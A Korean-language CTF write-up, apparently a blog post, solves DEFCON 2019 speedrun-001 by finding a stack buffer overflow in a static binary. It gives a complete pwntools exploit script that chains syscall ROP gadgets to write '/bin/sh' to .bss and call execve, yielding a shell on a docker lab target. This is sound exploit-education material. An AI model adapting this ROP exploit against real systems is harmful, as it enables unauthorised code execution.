문제 풀이 환경 : ubuntu 16.04.7 |
빨리 풀 수 있어서 speedrun인데 난 slowrun이다.. 아무튼 문제를 풀어보자.
Analysis
static으로 컴파일해서 함수명이 다 이렇다. main을 찾아야 한다.
start는 무조건 존재한다.
여기서 첫번 째 인자가 main의 주소이다...
main의 주소는 0x400BC1
타고 들어가보자.
이 친구가 main이다. 그리고 아래 sub_400B60 함수 에서 bof가 일어난다.
buf는 0x400이나... sub_440B60에서 0x750이나 읽어서 bof가 터진다. (read라고 추측 가능)
그리고 인자가 하나인 것으로 보아 sub_410390은 puts겠고.. 암튼 그런 느낌
음 보호기법은 NX가 걸려있고 Partial RELRO이다. got overwriting이 가능하다.
정적 링크로 컴파일 되어서 got plt 개념이 없다 ㅋㅋㅋ;;
아래 링크 참고!
rop기법을 써야 하나??
근데 rop를 하자니.. system 함수의 주소를 어떻게 구할지 모르겠다. (함수 이름이 sub_* 이렇게 되어있어서;;)
그래서 syscall rop를 하기로 했다.
How to exploit
- read 함수로 bss영역에 "/bin/sh" 문자열 삽입
- execve 함수로 셸 실행
syscall을 사용하자!!
read는 0번이고 execve는 59번이다.
가젯은 rax, rdi, rsi, rdx, syscall 을 찾아야 한다.
ROPgadget을 사용하면 된다.
이런식으로 찾아주면 된다.
근데 syscall ; ret가 안나와서 얘 찾을 때만 rp++ 을 사용하였다.
저 주소 중에서 아무꺼나 사용해도 된다.
Let's exploit!
아래는 익스 코드!!
return to main이 익숙하다.
from pwn import *
#p = process("./speedrun-001")
p = remote("172.17.0.2", 31337)
elf = ELF("./speedrun-001")
pop_rax = 0x415664
pop_rdi = 0x400686
pop_rsi = 0x4101f3
pop_rdx = 0x4498b5
syscall_addr = 0x4755c5
main = 0x400BC1
bss_addr = elf.bss()
binsh = "/bin/sh\x00"
payload = ''
payload += "A" * 1032 # buf + sfp
# read
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi) # fd
payload += p64(0)
payload += p64(pop_rsi) # buf
payload += p64(bss_addr)
payload += p64(pop_rdx) # len
payload += p64(len(binsh))
payload += p64(syscall_addr)
payload += p64(main)
p.recvuntil("Any last words?")
p.sendline(payload)
p.send(binsh)
payload = ''
payload += "A" * 1032 # buf + sfp
# execve
payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi) # filename
payload += p64(bss_addr)
payload += p64(pop_rsi) # NULL
payload += p64(0)
payload += p64(pop_rdx) # NULL
payload += p64(0)
payload += p64(syscall_addr)
p.recvuntil("Any last words?")
p.sendline(payload)
p.interactive()
문제에서 알려준대로 docker를 다운받아 실행하고 flag를 획득하였다!
'CTF > DEFCON 2019 speedrun' 카테고리의 다른 글
[DEFCON 2019] speedrun-004 풀이 (0) | 2021.02.01 |
---|---|
[DEFCON 2019] speedrun-003 풀이 (0) | 2021.01.28 |
[DEFCON 2019] speedrun-002 풀이 (4) | 2021.01.26 |